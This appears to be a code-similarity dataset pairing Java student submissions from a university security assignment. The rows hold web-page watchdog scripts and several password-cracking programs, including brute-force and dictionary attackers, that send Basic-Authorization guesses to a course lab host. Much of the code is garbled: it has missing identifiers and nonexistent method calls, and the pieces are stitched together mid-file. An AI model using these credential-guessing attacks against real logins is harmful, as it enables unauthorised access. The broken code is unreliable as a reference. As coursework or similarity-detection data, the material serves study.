String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
201.java | 195.java | 0 |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
024.java | 195.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
doPwdCombination();
System.out.println("Total Number of Passwords Generated: " + pwdCounter);
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
System.err.println( "\n" );
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used:" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
226.java | 195.java | 0 |
import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new BufferedReader(new InputStreamReader(pro.getInputStream()));
if (((str=in.readLine())!=null)&&(!str.endsWith("d0")))
{
System.out.println(str);
try
{
socket = new Socket("yallara.cs.rmit.edu.",25);
PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
String linetobesent = null;
BufferedReader getin = null;
try
{
FileReader = new FileReader("template.txt");
getin = new BufferedReader();
while (!(linetobesent=getin.readLine()).equals(""))
{
System.out.println(linetobesent);
output.println(linetobesent);
}
output.println("Orignail Line .s C New Line .s " + str);
while ((linetobesent=in.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
while ((linetobesent=getin.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
cmd = new String("cp new.txt original.txt");
System.out.println(cmd);
pro = run.exec(cmd);
}
catch (IOException ex)
{
System.out.println(ex);
}
catch (Exception ex)
{
System.out.println(ex);
System.exit(ERROR);
}
finally
{
try
{
if (getin!= null)
getin.read();
}
catch (IOException e) {}
}
}
catch (UnknownHostException e)
{
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e)
{
System.out.println(e);
System.exit(ERROR);
}
}
else
System.out.println("string is empty");
}
catch (IOException exc)
{
}
}
}
Watch listener = new Watch();
Timer t = new Timer(null,listener);
t.close();
JOptionPane.showMessageDialog(null,"Exit WatchDog program?");
System.exit(0);
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
085.java | 195.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class Dictionary extends Thread {
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
Dictionary parent;
static LineNumberReader lnr;
public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
String word = "";
starttime = System.currentTimeMillis();
try
{
boolean passwordOkay;
while(word != null && !parent.solved)
{
passwordOkay = false;
while(!passwordOkay || word == null)
{
word = lnr.readLine();
passwordOkay = true;
if(word.length() != 3) passwordOkay = false;
}
response = tryLogin(word);
x++;
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")");
}
}
catch(Exception e)
{
System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
Dictionary parent;
try
{
lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words"));
}
catch(Exception e)
{
System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
Dictionary[] attackslaves = new Dictionary[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: Dictionary <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new Dictionary(host, path, user, 0, 0, null, lnr);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = UNKNOWN;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
215.java | 195.java | 0 |
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
} |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
131.java | 195.java | 0 |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;
public static void main(String args[])
{
BruteForce bf = new BruteForce();
}
public BruteForce()
{
generatePassword();
}
public void generatePassword()
{
int index1 = 0, index2, index3;
char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
while(index1 < NUM_CHARS)
{
index2 = 0;
while(index2 < NUM_CHARS)
{
index3 = 0;
while(index3 < NUM_CHARS)
{
crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
index3++;
}
index2++;
}
index1++;
}
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader(isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
017.java | 195.java | 0 |
import javax.swing.*;
public class Dictionary
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
077.java | 195.java | 0 |
import java.io.*;
import java.net.*;
public class Dictionary
{
